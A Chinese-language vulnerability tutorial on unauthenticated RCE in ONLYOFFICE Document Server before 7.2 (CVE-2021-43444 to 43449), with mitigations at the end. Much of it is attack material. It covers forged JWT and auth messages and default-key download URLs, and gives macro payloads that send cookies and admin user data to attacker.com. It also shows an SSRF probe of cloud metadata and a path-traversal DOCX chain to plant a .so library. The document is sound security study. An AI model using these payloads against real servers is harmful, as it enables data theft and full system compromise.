CVE-2021-43444 到 43449:利用 ONLYOFFICE Web 套接字进行未经身份验证的远程代码执行
字数 1958 2025-08-24 07:48:34
ONLYOFFICE WebSocket漏洞分析与利用指南 (CVE-2021-43444至43449)
漏洞概述
本教学文档详细分析了ONLYOFFICE Document Server中的一系列安全漏洞,这些漏洞允许攻击者实现未经身份验证的远程代码执行(RCE)。这些漏洞主要涉及WebSocket接口的安全缺陷,影响版本为7.2之前的ONLYOFFICE Document Server。
漏洞背景
ONLYOFFICE是一个流行的在线文档编辑套件,常被集成到文档管理系统中。研究人员在对一个文档管理平台进行渗透测试时发现,尽管系统实现了文档加密存储,但在编辑过程中文档会以未加密形式传输到客户端。
漏洞详情
CVE-2021-43447: 未经身份验证的WebSocket连接
- 漏洞描述: ONLYOFFICE WebSocket端点接受任何连接请求,不验证会话cookie或其他身份验证凭证
- 影响: 攻击者可以连接到WebSocket接口,无需任何认证
- 验证方法:
GET /websocket HTTP/1.1 Host: target-server Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: randomkey==
CVE-2021-43445: 默认JWT签名密钥
- 漏洞描述: JWT签名默认使用弱密钥"secret"
- 影响: 即使启用了JWT验证,攻击者也能轻易伪造有效令牌
- 利用方法: 使用默认密钥生成JWT令牌绕过验证
CVE-2021-43444: 默认下载URL签名密钥
- 漏洞描述: 文档下载URL使用MD5签名,默认密钥为"verysecretstring"
- 影响: 知道文档ID即可构造有效下载URL,获取未加密文档
- 利用方法:
import hashlib doc_id = "known_document_id" signature = hashlib.md5(f"{doc_id}verysecretstring".encode()).hexdigest() download_url = f"http://target-server/download/{doc_id}?md5={signature}"
CVE-2021-43448: WebSocket篡改
- 漏洞描述: 通过WebSocket发送的第一条"auth"消息可被篡改
- 影响: 攻击者可伪造用户名进行聊天等操作
- 利用方法: 连接后发送伪造的auth消息:
{"type": "auth", "token": "fake_token", "user": {"id": "attacker", "name": "Admin"}}
CVE-2021-43446: 宏中的XSS
- 漏洞描述: 宏功能直接使用eval()执行JavaScript代码
- 影响: 可注入恶意脚本,在用户打开文档时执行
- 利用方法: 通过WebSocket注入恶意宏:
{ "type": "macro", "guid": "malicious_macro", "value": "alert('XSS');fetch('http://attacker.com/steal?cookie='+document.cookie)" }
CVE-2021-43449: "auth"命令中的SSRF
- 漏洞描述: WebSocket的auth命令处理不当可能导致SSRF
- 影响: 可探测内部网络或访问云元数据服务
- 利用方法: 通过精心构造的auth请求触发内部请求
漏洞利用链
1. 信息收集阶段
- 通过XSS或其他方式获取有效文档ID
- 或直接尝试枚举可能的文档ID
2. WebSocket连接
import websockets
async def connect_websocket():
async with websockets.connect('ws://target-server/websocket') as ws:
# 发送伪造的auth消息
await ws.send('{"type":"auth","token":"fake_token","user":{"id":"attacker","name":"Admin"}}')
# 监听消息获取文档信息
3. 文档下载利用
- 使用默认签名密钥构造文档下载URL
- 或通过WebSocket获取签名URL
4. 宏注入攻击
macro_payload = {
"type": "macro",
"guid": "backdoor",
"value": """
(function(){
var Api = window.g_asc_plugins.api;
fetch('/admin/users', {credentials: 'include'})
.then(response => response.text())
.then(data => fetch('http://attacker.com/exfil?data='+encodeURIComponent(data)));
})();
"""
}
5. 文档转换器SSRF
- 通过WebSocket请求转换外部URL
- 探测内部网络或云元数据服务:
{ "type": "convert", "url": "http://169.254.169.254/latest/meta-data/", "output": "txt" }
6. 路径遍历到RCE
- 创建恶意DOCX文件,包含路径遍历的ZIP条目(如"../../tmp/evil.so")
- 托管该文件并通过WebSocket请求转换:
{ "type": "convert", "url": "http://attacker.com/malicious.docx", "output": "pdf" } - 利用路径遍历写入恶意.so文件到可执行目录
- 触发加载恶意库实现RCE
漏洞利用工具 - PwnlyOffice
GitHub仓库: https://github.com/nettitude/pwnlyoffice
主要功能:
- 自动化WebSocket连接和认证绕过
- 文档ID枚举和文档下载
- 宏注入和XSS攻击
- 文档转换器SSRF探测
- 路径遍历漏洞利用
- 后门安装和命令执行
缓解措施
- 升级到最新版本: ONLYOFFICE 7.2修复了这些漏洞
- 配置强化:
- 修改默认JWT签名密钥
- 修改文档下载URL签名密钥
- 启用WebSocket身份验证
- 功能限制:
- 禁用宏插件
- 禁用聊天插件
- 网络隔离:
- 文档服务器与内部网络隔离
- 阻止文档服务器访问云元数据服务(169.254.169.254)
- 文件系统权限:
- 限制Web服务用户写入权限
- 确保不能写入/var/www/onlyoffice等关键目录
时间线与参考
- 漏洞发现: 2021年初
- 漏洞报告: 2021年
- CVE分配:
- CVE-2021-43447
- CVE-2021-43445
- CVE-2021-43444
- CVE-2021-43448
- CVE-2021-43446
- CVE-2021-43449
原始研究文章: Nettitude Labs
总结
ONLYOFFICE Document Server在7.2版本前存在一系列严重安全漏洞,允许攻击者通过WebSocket接口实现未经身份验证的远程代码执行。这些漏洞的组合利用可以导致完全的系统入侵,特别是在集成到文档管理系统(如NextCloud)的环境中。管理员应立即升级到修复版本或实施严格的缓解措施。